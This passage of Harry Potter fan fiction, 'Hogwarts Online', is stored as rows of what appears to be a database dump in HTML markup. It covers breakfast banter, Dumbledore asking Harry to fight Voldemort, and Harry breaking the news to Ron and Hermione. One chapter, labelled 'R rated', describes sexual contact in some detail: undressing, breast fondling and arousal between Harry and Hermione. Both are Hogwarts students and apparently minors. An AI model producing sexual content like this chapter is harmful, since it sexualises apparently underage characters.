hungry.&#8221;</p>\n\n<p>&#8220;Obviously&#8230;well let&#8217;s go down and feed you before you starve.&#8221;&nbsp; Harry said with a roll of his eyes.</p>\n\n<p>They reached the Great Hall without too much difficulty but little did they know the difficulty lay just inside the door.&nbsp; They walked through the doors, chatting casually about Quidditch (so what else is new?).&nbsp; They were instantly confronted by an extremely made-up Pansy.&nbsp; As Harry squinted he didn&#8217;t think he could actually see any of her skin.</p>\n\n<p>&#8220;Oh!&nbsp; H-h-hello Pansy.&#8221; Ron stammered. </p>\n\n<p>She batted her thick, clumpy eyelashes, &#8220;Ronnie&#8221;</p>\n\n<p>Harry winced and Ronnie&#8217;s eye twitched for the second time that morning.</p>\n\n<p>&#8220;Oh Ronnie!&nbsp; I had a wonderful time last night!&nbsp; We must do it again.&#8221; She gushed.</p>\n\n<p>&#8220;Oh-uh yeah alright.&#8221; Ron said looking a bewildered; after all he&#8217;d say anything just so he could sit down and eat breakfast.</p>\n\n<p>&#8220;Great!&nbsp; I&#8217;ll meet you outside the Slytherin common room tonight at say eight.&nbsp; We&#8217;ll have a picnic.&#8221;&nbsp; She flashed him a dazzling smile and turned on her heel and was at the Slytherin table within seconds.</p>\n\n<p>Ron stared after her for a minute, his brain still processing the information she&#8217;d just spoken at rapid speed.</p>\n\n<p>&#8220;Okay.&#8221; He said rather stupidly as she wasn&#8217;t really asking him, more like telling him.</p>\n\n<p>&#8220;She&#8217;s got you whipped mate.&#8221; A thick Irish voice exclaimed, whacking Ron on the back.</p>\n\n<p>Ron smiled feebly and shoveled his plate up with mountains of food.&nbsp; Hermione watched amusedly from behind her book at the two best friends.&nbsp; She gave Harry a small peck on the lips and went back to reading from the thick, dusty book on her lap.&nbsp; Harry smiled and pushed back a small tendril of hair that&#8217;d escaped from behind her ear.&nbsp; He had plans for them that night, plans that he&#8217;d been preparing for goodness knows how long and finally it was the day.&nbsp; He wouldn&#8217;t let anything wreck it.&nbsp; His mind briefly passed over his letter to Dumbledore but when he looked at the staff table he noticed Dumbledore wasn&#8217;t present.&nbsp; Quickly he banished the thought from his mind and focused on the beautiful young woman who he was in love with beside him.</p> '),
	(205, 16, ' <p>Hogwarts Online Chapter 14 &#189; - &nbsp;R rated chapter.&nbsp; </p>\n\n<p>For those who don&#8217;t want to read it there&#8217;ll be another chapter out VERY soon.</p>\n\n<p>NOTE: This chapter is not compulsory to read to understand the rest of the plot.&nbsp; This is merely a little H/H smut. J </p>\n\n<p>WARNING: FLUUUUUUUUUUUUUUUUUUUFFY! (And no I don&#8217;t mean the dog *rolls eyes*</p>\n\n<p>Harry took her by the hand and led her into the candlelit room he&#8217;d taken 2 hours to prepare.&nbsp; It looked amazing.&nbsp; The candles let off a golden, cozy glow to the room.&nbsp; There were daffodils; Hermione&#8217;s favourite, everywhere. His room looked much different than what it normally did.&nbsp; His bed contained gold satin sheets with a matching bedspread, although if Harrys plan went according to plan the matching bedspread would be last thing on their minds.&nbsp; Soft music was playing in the background, enchanting the mood even more.&nbsp; She had a blindfold over her eyes but it didn&#8217;t stop her from listening to the music.</p>\n\n<p>&#8220;Oh Harry.&nbsp; It&#8217;s my favourite song!&#8221; she said, her voice filled with happiness. </p>\n\n<p>Harry pulled her in front of him and started to undo the blindfold, &#8220;Just for you.&#8221; He whispered in her ear as he pulled the blindfold away. </p>\n\n<p>She stared around the room that had obviously had so much effort and love put into it.&nbsp; </p>\n\n<p>&#8220;The room looks beautiful.&#8221; She said with a delighted smile.</p>\n\n<p>Harry gently pushed a few stray tendrils away from her face and tucked them behind her ear.</p>\n\n<p>&#8220;Anything for you.&#8221; He breathed.</p>\n\n<p>Hermione bit her lip softly, and Harry couldn&#8217;t help but want to be that lip and that very moment.</p>\n\n<p>&#8220;You such a sweetheart.&#8221; She said with a dazzling smile.</p>\n\n<p>Harry led her into a separate room that Hermione had never seen before where a 2 person table was set beautifully with a daffodil centerpiece in the middle and a gourmet meal set out for two.</p>\n\n<p>&#8220;Dobby gave me a bit of a hand.&#8221; Harry said with a sheepish grin, &#8220;Otherwise we&#8217;d be having bacon and eggs&#8230;it&#8217;s all I can cook.&#8221; </p>\n\n<p>Hermione&#8217;s laughed tinkled softly.</p>\n\n<p>&#8220;Shall we?&#8221; he asked, holding his arm out to her to escort her to her seat where he pushed her chair in so she was comfortable.</p>\n\n<p>He took a seat opposite her and took her hand in his as they ate their meal.&nbsp; They talked about all things imaginable.&nbsp; Harry couldn&#8217;t believe things were turning out so perfectly.&nbsp; The night was turning out to be one of the best nights of his life.&nbsp; This being romantic thing was fun!</p>\n\n<p>When they&#8217;d finished their desert (banana split, ice-cream and strawberries in chocolate sauce), Harry pulled her up again and with a swish of his wand the soft music turned up and he offered his arm to her again.</p>\n\n<p>&#8220;Care to dance milady?&#8221; he asked smiling sweetly.</p>\n\n<p>Hermione&#8217;s eyes crinkled up as she smiled, &#8220;Of course milord.&#8221;</p>\n\n<p>Harry pulled her into his arms and the slowly danced.&nbsp; He&#8217;d practiced of course; he didn&#8217;t need a repeat of the last Yule ball where he&#8217;d stepped on nearly everyone&#8217;s feet.</p>\n\n<p>&#8220;You&#8217;ve gotten better.&#8221; Hermione praised him.</p>\n\n<p>Harry flashed her a dazzling grin that only the Boy who lived could manage, a grin that stole the hearts of everyone.&nbsp; The slow danced for a while before Harry drew back a little and planted a soft kiss on top of Hermione&#8217;s lips.&nbsp; It wasn&#8217;t long or passionate but when Harry drew back their cheeks were both pink tinged. </p>\n\n<p>&#8220;I&#8217;m sorry I&#8217;ve been waiting to do that all night.&#8221; Harry admitted.</p>\n\n<p>&#8220;I&#8217;ve been waiting for you do it all night.&#8221; Hermione said with a smile and pulled him back in for another kiss.&nbsp; </p>\n\n<p>This time the kiss was fiery.&nbsp; Their mouths were mashed against each others, searching with their tongues for every taste sensation they could find.&nbsp; His tongue slid against her slowly and tantalizingly.&nbsp; She moaned softly and swept her tongue across his.&nbsp; Harry drew away slightly, taking a breath and moving back in to kiss her again.&nbsp; They continued like this for quite some time until they had to draw apart from lack of oxygen.</p>\n\n<p>&#8220;Do you want to go into the other room?&#8221; Harry asked, studying her eyes carefully for any signs of falter.</p>\n\n<p>&#8220;I thought you&#8217;d never ask.&#8221; Hermione breathed.</p>\n\n<p>It was all the encouragement Harry needed.&nbsp; Within a minute he&#8217;d swept Hermione off her feet and carried her wedding style into the main room where he gently laid her on the bed, leaning over her, his knee between her legs.</p>\n\n<p>His mouth met hers again, the temperature of the room rising rapidly.&nbsp; His mouth still attached to hers he slowly, with slightly clumsy fingers, started to undo the buttons on her shirt.&nbsp; He pulled back from her, his face slightly scrunched in a frown as he tried in vain to undo a particular button.&nbsp;&nbsp; She bit her lip and smiled and in three quick moves the rest of the buttons were open and she&#8217;d slipped out of it.&nbsp; Harry took in the gorgeous sight before him.&nbsp; Her white bra was simple with little lace but it was so completely Hermione that Harry couldn&#8217;t help but smile.&nbsp; He gently ran his fingers down her chest and around the back, whilst claiming her lips again.&nbsp; He deftly unsnapped her bra and it slid down her shoulders where she quickly discarded it.&nbsp; Harry drew back for oxygen and took in the amazing sight before him.&nbsp; It was the furthest they&#8217;d gone and it wasn&#8217;t surprising how nervous he felt; he didn&#8217;t want to disappoint after all. He&#8217;d heard all the guys talking in his dorm about their &#8216;sexual encounters&#8217; but&#8230;well this was his own first he was rather ashamed to admit.</p>\n\n<p>Hermione cheeks had flushed a little as he stared at her with admiration and awe.&nbsp; </p>\n\n<p>&#8220;Harry?&#8221; she asked timidly.</p>\n\n<p>Harry smiled at her, reassuring her before he undid his own buttons and slipped off his Gryffindor shirt to expose his rather toned and tanned chest.&nbsp; Hermione ran a hand tenderly over his defined abs.&nbsp; Her touch was enough to drive Harry crazy.&nbsp; He leant down and started to slowly suckle at her neck.&nbsp; With a moan she arched her head to the side as far as she could to allow him to get better access. &nbsp;He suckled softly on the tender skin of her neck, delighting in the moans coming from her. &nbsp;He slowly and tantalizingly made his way down into the hollow of her neck, and his tongue followed the curve of it. Her breathing became irregular as she panted and he slowly dragged his tongue down her chest, planting soft, suckling kisses between her breasts before cupping one in his hand and gently playing with the nipple and with pleasure he noticed the smallest buck of Hermione&#8217;s hips.&nbsp; He took the other nipple in his mouth and gently sucked on it, strumming it with his tongue.&nbsp; Not wanting to ignore the other breast he soon swapped over his ministrations to the other one.&nbsp; Hermione by then was bucking with every strum of his tongue. </p>\n\n<p>&#8220;Harry.&#8221; She groaned.</p>\n\n<p>He looked up into her lust filled eyes and trapped her lips against his own.&nbsp; His hand that had been fondling her breast reached up and cupped her face.&nbsp; When he pulled back they were both even more flushed than before, if it was possible.</p>\n\n<p>&#8220;Harry&#8230;we can&#8217;t&#8230;&#8221; Hermione started but trailed off as Harry&#8217;s eyes filled with understanding&#8230;lust but understanding.</p>\n\n<p>&#8220;Not now&#8230;not at school&#8230;I&#8217;m just not ready yet.&#8221; Hermione said, her voice trembling a little.</p>\n\n<p>Harry stroked her face with his thumb, &#8220;I know your not.&#8221; He said, his voice filled with understanding, &#8220;Of course that doesn&#8217;t help me with my immediate problem.&#8221; He grinned sheepishly and glanced down.</p>\n\n<p>A rather larger bulge in the front of his pants made Hermione blush profusely, &#8220;Well I suppose you&#8217;d better go have a cold shower then.&#8221; She said briskly, picking up her bra again and sliding out from under him.</p>\n\n<p>&#8220;I suppose I had,&#8221; Harry said with a devious grin, &#8220;I don&#8217;t suppose I could entice you to have one with me?&#8221; </p>\n\n<p>AN: Yes well&#8230;*coughs* that was&#8230;well&#8230;&#8230;&#8230;&#8230;yeah. It was what it was.&nbsp; What can I say&#8230;it&#8217;s my first attempt at writing smut okay?? Um yup review.</p> '),
	(205, 17, ' <p>Chapter 15</p>\n\n<p>AN: This is one of the last chapters (there&#8217;ll be one or two more at most) of this story.&nbsp; I have to admit I&#8217;ll be sad to see it go&#8230;however I hope you enjoy this chapter.</p>\n\n<p>To the people who didn&#8217;t want this to happen&#8230; (not the chapter the plot increasing)..what can I say? I&#8217;m not changing the storyline to fit what you want to happen.</p>\n\n<p>Sorry if there are loads of errors in this, grammatical and what not.&nbsp; I&#8217;m really sick and so yeah I&#8217;m a bit stuffed up and my beta is away at the moment&#8230;so yeah. Sorry bout that. I&#8217;d wait&#8230;but well then you&#8217;d have to wait...soooo&#8230;</p>\n\n<p>~0~</p>\n\n<p>Harry was grinning from ear to ear the next morning at breakfast, despite Hermione&#8217;s glares and quiet words of &#8220;Would you stop it?! You look like a maniac!&#8221; he couldn&#8217;t keep the grin off his face.&nbsp; He was just so damn happy!</p>\n\n<p>He heaped a pile of food onto his plate; even Ron raised an eyebrow at the amount.&nbsp; It was less than his own, but not by much. Meaning&#8230;a hell of a lot of food. </p>\n\n<p>&#8220;Oi Harry.&nbsp; What&#8217;s up with you today?&#8221; Seamus asked incredulously as Harry, who was usually reasonably silent at breakfast but today was chatting to everyone in close proximity.</p>\n\n<p>&#8220;Nothing! I&#8217;m just happy.&#8221; Harry said chirpily. </p>\n\n<p>Seamus looked at him for a moment, silently scrutinizing him.&nbsp; A look of realization washed over his face, &#8220;You got laid!&#8221; he exclaimed.</p>\n\n<p>Hermione turned a mysterious shade of fuchsia, &#8220;Seamus!&#8221; she reprimanded him, &#8220;That is most certainly <i>not</i> a breakfast conversation.&nbsp; In fact! It&#8217;s not a conversation at all.&nbsp; What Harry and I do or don&#8217;t do sexually is none of your business.&#8221; She finished hotly.</p>\n\n<p>Seamus rolled his eyes and leaned closer, &#8220;So?&nbsp; How was it?&#8221; he whispered.</p>\n\n<p>Harry ignored the question and pretended not to hear Hermione as she started to yell at Seamus about manners.&nbsp; He looked up to the normal mail delivery and was surprised to see Hedwig swooping down to him.&nbsp; When she landed and he&#8217;d removed the letter she helped herself to some of his pumpkin juice and a piece of bacon before nipping him affectionately on the hand and taking back off up to the owlery with many other owls.</p>\n\n<p>Harry raised an eyebrow at the letter; he couldn&#8217;t think who he&#8217;d sent a letter to lately.&nbsp; A few years ago he could have said Sirius&#8230;but well he hadn&#8217;t really sent much mail lately, Remus was out of contact for the moment.&nbsp; He was involved in the preparing for the war Harry supposed.&nbsp; But back to the letter at hand.&nbsp; Harry quickly scanned his mind for who the letter could possibly be from.&nbsp; Then it clicked with him and he looked up to the staff table where Dumbledore&#8217;s seat was empty as were a few of the other teachers&#8217; seats. </p>\n\n<p>Harry looked back down to the letter in front of him and opened it. </p>\n\n<p><i>Harry,</i></p>\n\n<p><i></i></p>\n\n<p><i>Thank you very much for your information.&nbsp; We already had some idea of the upcoming news however your news provided more secure knowledge of this.&nbsp; Please meet me in my office after breakfast.&nbsp; The password is &#8216;Frothing Pineapples&#8217;.</i></p>\n\n<p><i></i></p>\n\n<p><i>Professor Dumbledore </i></p>\n\n<p><i></i></p>\n\n<p>Frothing pineapples?&nbsp; Harry raised an eyebrow as he read this; he obviously wasn&#8217;t as up to date on his wizard sweets as Dumbledore was. &nbsp;&nbsp;He sighed at the prospect of having to go and meet Dumbledore again.&nbsp; He&#8217;d seen the inside of his office far too much of his liking&#8230;but at least this year he hadn&#8217;t been into the hospital wing much. </p>\n\n<p>Hermione, who had finished lecturing Seamus, spotted the letter in Harry&#8217;s hand.</p>\n\n<p>&#8220;Who&#8217;s that from?&#8221; she asked, taking a bite of her toast.</p>\n\n<p>Harry sighed, &#8220;Dumbledore.&nbsp; He wants me to meet him in his office after breakfast.&#8221;</p>\n\n<p>Hermione looked concerned, &#8220;What for?&nbsp; You&#8217;re not in trouble are you?&#8221;&nbsp; Her voice became annoyed at this, &#8220;Because I told you that-&#8221;</p>\n\n<p>&#8220;No I&#8217;m not in trouble.&#8221;&nbsp; Harry interrupted her, &#8220;He just wants to &#8216;talk&#8217;&#8221; </p>\n\n<p>Hermione pursed her lips, &#8220;Alright well try not to be too long, you don&#8217;t want to miss out on <i>all</i> of Care of Magical Creatures.&nbsp; We&#8217;ll tell Hagrid where you are.&#8221;</p>\n\n<p>Ron grunted in agreement with her.&nbsp; Hermione rolled her eyes, &#8220;Honestly Ron!&nbsp; What have I told you about proper English? No one ever understands a thing you say!&nbsp; Why I wouldn&#8217;t be surprised-&#8221;</p>\n\n<p>Harry chose to ignore their argument which was becoming well underway and he finished his breakfast off with rapid speed.&nbsp; He muttered a goodbye to them but they were to rapt up in their bickering.&nbsp; Harry left the Great Hall deep in thought when he, literally, bumped into Draco and Ginny.</p>\n\n<p>&#8220;Hello you two.&#8221; Harry said, glancing at their joined hands, &#8220;I see you&#8217;re getting along.&#8221;</p>\n\n<p>Draco shot him a withering look, &#8220;How subtle of you.&#8221; </p>\n\n<p>Ginny laughed and Harry could see just from the way they casually talked and the atmosphere around them that they were okay again.&nbsp; Their relationship that had been on ice, now seemed resolved.&nbsp; </p>\n\n<p>&#8220;Where are you going?&#8221; Ginny asked.</p>\n\n<p>Harry forced a smile, &#8220;To see Dumbledore.&#8221;</p>\n\n<p>&#8220;Is the Golden Boy in trouble?&#8221; Draco teased.</p>\n\n<p>Harry rolled his eyes, &#8220;Yes,&#8221; he drawled, &#8220;I&#8217;m in trouble.&nbsp; Now if you excuse me I&#8217;m going to be late.&#8221;</p>\n\n<p>&#8220;See you in Potions Potter.&#8221; Draco called to Harry&#8217;s back as he continued towards the headmaster&#8217;s office.</p>\n\n<p>~0~</p>\n\n<p>&#8220;Ah Harry.&#8221; Dumbledore said opening the door to Harry&#8217;s knock, &#8220;Come in come in.&#8221;</p>\n\n<p>Harry was less than amused to see none other than Severus Snape sitting at one of the chairs in front of Dumbledore&#8217;s desk. </p>\n\n<p>&#8220;What is he doing here?&#8221; Harry asked.</p>\n\n<p>&#8220;Severus is here because I asked him to be Harry, &#8220;Dumbledore said pointedly and shut the door behind them, &#8220;Please take a seat.&#8221;</p>\n\n<p>Harry reluctantly sat down in the only remaining chair next to Snape.</p>\n\n<p>&#8220;We need to talk.&#8221;&nbsp; Dumbledore said gravely.</p>\n\n<p>&#8216;Great&#8230;just great.&#8217; Harry sighed to himself.</p>\n\n<p>&#8220;What about?&#8221; Harry asked dubiously.</p>\n\n<p>Dumbledore let out a sigh and leaned forward and looked at Harry over his half-moon glasses, &#8220;You know that the war is soon&#8230;sooner than expected.&#8221;</p>\n\n<p>Harry looked at Snape sitting next to him, the typical scowl on his face, &#8220;Headmaster.&nbsp; You know I don&#8217;t approve of this.&#8221; He said; his voice filled with disapproval.</p>\n\n<p>Dumbledore kept his gaze firmly on Harry.&nbsp; Harry looked back at Dumbledore, a feeling of dread slowly crawling down his spine.</p>\n\n<p>&#8220;Sir?&#8221; Harry asked. </p>\n\n<p>Dumbledore&#8217;s eyes weren&#8217;t twinkling, one of the few times Harry had seen this. </p>\n\n<p>&#8220;I&#8217;m an old man Harry.&#8221; Dumbledore said, sounding almost torn, &#8220;My judgment may be clouded.&#8221;</p>\n\n<p>Harry frowned slightly, &#8220;I don&#8217;t understand sir.&#8221;</p>\n\n<p>&#8220;The prophecy Harry, &#8220;Dumbledore said quietly, &#8220;The one you learnt of in your fifth year.&nbsp; I believe it&#8217;s time&#8230;&#8221;</p>\n\n<p>Harry sat there shell-shocked, &#8220;You&#8217;re going to send me out to die?&#8221; he asked, his voice sounding horrified.</p>\n\n<p>Dumbledore&#8217;s face remained concerned and calculating, &#8220;Not to die no.&nbsp; You know the prophecy&#8230;you know what it entails.&#8221;</p>\n\n<p>&#8220;Kill or be killed.&#8221; Harry&#8217;s voice was filled with anything but amusement. </p>\n\n<p>&#8220;Albus!&nbsp; Come now!&#8221; Snape said standing up, &#8220;We can&#8217;t just rest the wait of the world on <i>him</i>.&#8221; He was practically spitting, &#8220;Surely-&#8221;</p>\n\n<p>He was interrupted by Dumbledore who cut him off, &#8220;Severus you know as well as I do that this is all we can do.&#8221;</p>\n\n<p>Harry looked between the two adults, &#8220;Don&#8217;t I have a say in this?&#8221; He asked, his temper getting the best of him.</p>\n\n<p>They both stared at him silently, waiting for more. </p>\n\n<p>&#8220;Screw it.&nbsp; I&#8217;m not.&#8221; Harry said defiantly standing up, &#8220;I&#8217;ve got too much to lose.&#8221;</p>\n\n<p>Snape turned on him, &#8220;The world is much more important than a few friends and a girlfriend Potter!&nbsp; I always knew you were too immature to actually handle the fame properly.&nbsp; Swaggering around here like nobody&#8217;s business!&nbsp; You-&#8221;</p>\n\n<p>&#8220;Yeah?&#8221; Harry yelled, cutting him off, &#8220;Well you know what? YOU fight the war.&nbsp; I&#8217;ll stay here.&#8221;</p>\n\n<p>Dumbledore interrupted the two, &#8220;This is not the time.&#8221; He said, his voice tired, &#8220;Harry.&nbsp; Of course I cannot force you to do this.&nbsp; It is your choice.&nbsp; But I ask you; think carefully about your decision.&#8221;</p>\n\n<p>Harry glared at Dumbledore then at Snape, &#8220;Fine.&#8221; He said, his temper flaring inside of him, little voices yelling out things to say in his brain.</p>\n\n<p>He turned on his heel and stormed out the door.&nbsp; Once outside he instantly felt guilty.&nbsp; He was being selfish and he knew it&#8230;but he&#8217;d always done what everyone wanted&#8230;maybe it was time for him to be selfish&#8230;</p>\n\n<p>He sighed and walked down the stairs, his mind racing with thoughts and considerations.</p>\n\n<p>Inside Dumbledore&#8217;s office, the headmaster and Snape were still staring at the door.</p>\n\n<p>&#8220;He&#8217;ll do what&#8217;s right.&#8221; Dumbledore said finally.</p>\n\n<p>Snape harrumphed loudly.</p>\n\n<p>&#8220;Sherbet Lemon?&#8221;</p>\n\n<p>And to both of their surprises, he took one. </p> '),
	(205, 18, ' <br>\n\n\n<p>\n\n</p><p> Hogwarts Online Chapter 16 </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Author Notes: Don\'t kill me. If you don\'t I won\'t be able to write the next chapter. Hopelessly short I know. There were&#8230;.issues in the real world I\'ve had to deal with that have stopped me from fulfilling my duty to you in finishing this story. THIS HOWEVER IS NOT THE END. I know&#8230;it\'s short etc&#8230;but really wouldn\'t you all rather I had this out then waited for goodness knows how long to get the whole thing out?? I know&#8230;.I\'m hopeless but I\'m working on it. There are numerous reasons I could tell you about WHY this is so late&#8230;and short however I don\'t want to bore you with the details. </p>\n\n<p>\n\n</p><p> To all my reviewers (and there are so many!) your reviews sparked this little update. They made me feel so guilty! ESPECIALLY Ana. </p>\n\n<p>\n\n</p><p> I\'ll just say this for everyone to read now </p>\n\n<p>\n\n</p><p> I\'M SO SORRY!!!! </p>\n\n<p>\n\n</p><p> There\'ll be more soon. Don\'t worry. Just remember to update. Not kill me if there are some errors in it because I wanted to get this out to you all fast&#8230;and well&#8230;review for me! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He let out a loud sigh, and watched as his breath turned to smoke from the icy air. He wrapped his arms around his knees and let his head drop back and rest on the tree behind him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> `Everything is so screwed up.\' </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The dilemma that ultimately had screwed up his life? Oh just a little thing called Voldemort. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> `Why me? Why now?\' </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He ran a frustrated hand through his hair, messing it up more than usual. He was felt torn, his love or his life? There was no doubt in his mind that he would die for Hermione but the problem with that was that then he couldn\'t protect her from Voldemort, he\'d never see her again, never be able to have a family with her and watch as their children grew and be able to be the real kind of parents he never had. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> `What am I going to do?\' </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> If he didn\'t go to war with Voldemort then Hermione would be even less safe. He\'d always be looking over his shoulder. Hermione would never feel safe again. He couldn\'t do that. He knew it but he really didn\'t want to go to war with Voldemort. It was that stupid prophecy that was screwing up his life. It was either him or Voldemort. It made such a burden for such a young man. Either be murdered or become a murderer. Not that the whole of the wizard population would be any less adoring, more so because he would have finally defeated Voldemort but could he really do it? Could he really kill another being? Besides no one even knew if Voldemort could be killed. If he had passed into the realm of immortality too much and was now invincible. He didn\'t die when Harry was a baby, what made them think it\'d be any different now. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry let out a soft moan, he was screwed either way and he knew it. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Hermione,&#8221; He whispered softly, staring out at the completely still lake, &#8220;Forgive me.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p> &#8220;I\'ve made my decision.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Dumbledore looked at him over his half-moon glasses, &#8220;I see. Please sit down.&#8221; He said gesturing to one of the seats in front of his desk. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Would you like a sherbet lemon? Or perhaps a hot chocolate? I find these mornings rather cold myself.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry shook his head, &#8220;No. I want to get this over and done with now.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Very well. What is your decision? You do realize that this isn\'t a game, you cannot merely change your mind and expect everything to go back to normal.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I am well aware of the consequences headmaster.&#8221; Harry said coolly, he didn\'t have the time or the patience to listen to him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Dumbledore stared at him for a moment, his eyes trying to search Harrys, &#8220;Alright Harry,&#8221; he said wearily rubbing his brow, &#8220;What is your decision?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I don\'t really see that I have much of a choice. I will go to war.&#8221; Harry said, his voice stiff. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Of course you have a choice my dear boy.&#8221; Dumbledore said quickly but the look of relief was apparent on his face. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;No&#8230;no I don\'t.&#8221; Harry said slowly, &#8220;But you have my `decision\' and if you don\'t mind I\'m going to go spend what little time I have left with my friends before my departure.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Dumbledore watched the young man walk out the door, a look of sad determination set firmly on his youthful face. His eyes were weary and tired. He rubbed his brow again and absentmindedly petted Fawkes. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;He\'s still so young.&#8221; Dumbledore murmured to himself, &#8220;So young&#8230;&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry slowed down when he neared the Gryffindor common room. He knew Hermione would be inside, arguing with Ron, and he knew he had to tell them. He didn\'t have much time but with what little time he did have he was going to show them how much they meant to him. How much Hermione meant to him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Oh. It\'s you.&#8221; The fat lady said sounding disapproving, &#8220;What mischief have you gotten yourself into?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry sighed, if only she knew. Mischief? Hah. He could handle that any day. This was a little more serious than just plain old adolescent mischief. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Free lancer.&#8221; Harry murmured. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She pursed her lips at him, &#8220;Well honestly.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry climbed through the portrait hole and he could hear her still muttering about young people\'s manners. Or lack there of. Harry\'s eyes scanned the typically noisy room. His eyes flicked over Seamus, Dean, Ginny, Lavender, Parvati and a group of noisy first years before they landed on Hermione and Ron; who were in a deep argument. Harry watched; amused at their antics. It was just their typical fight. Ron hadn\'t done some homework due the next day; Hermione would lecture him about the importance of doing his work and then the next thing anyone knew they were yelling. Harry felt all happiness drain away from him. They were his best friends&#8230;how could he just give up his new found happiness just because Voldemort snapped his fingers? Harry sighed and resignedly walked over to them and sat down in the nearest armchair available. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Harry!&#8221; Hermione exclaimed, her face flushed with annoyance, &#8220;Tell Ron that this yea-&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;We need to talk.&#8221; Harry interrupted her, his voice grave. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He instantly had their full attention. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I&#8230;okay. Well&#8230;I don\'t know how to say this.&#8221; Harry ran his hands through his already extremely messy hair desperately. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione reached over and put her hand on his knee, &#8220;You can tell us.&#8221; She said soothingly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron looked anything but soothed, &#8220;What\'s wrong?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry sighed and looked away from their inquiring stares, &#8220;I&#8230;okay there\'s no easy way to say this&#8230;I went to talk to Dumbledore as you know.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They nodded affirmatively. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well&#8230;okay the thing is&#8230;&#8221;Harry shut his eyes briefly, &#8220;I&#8230;I\'mgoingtowarwithVoldemort.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione frowned perplexed, &#8220;You\'re what?&#8221; she asked. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry looked to Ron to see if he had any idea what Harry had said but the blank look on his face said it all. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I\'m going to war with Voldemort.&#8221; Harry said; his eyes permanently fixed on the floor. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;You\'re what?&#8221; Hermione repeated; her eyes wide and her voice cracking as she repeated herself. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;You\'re joking.&#8221; Ron said, his voice was cold and filled with dread. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry looked at them, their faces were scrambled with so many emotions Harry couldn\'t distinguish them, and shook his head. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione stood up, her hand clutched to her chest tightly, &#8220;Stop it.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry looked up at her. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Just stop it.&#8221; Her face was filled with something Harry couldn\'t place. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Hermione,&#8221; Harry said softly standing up and taking her hands in his, &#8220;I\'m sorry.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione started to back away from him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Hermione, wait.&#8221; Harry said feebly as she turned on her heel and ran. 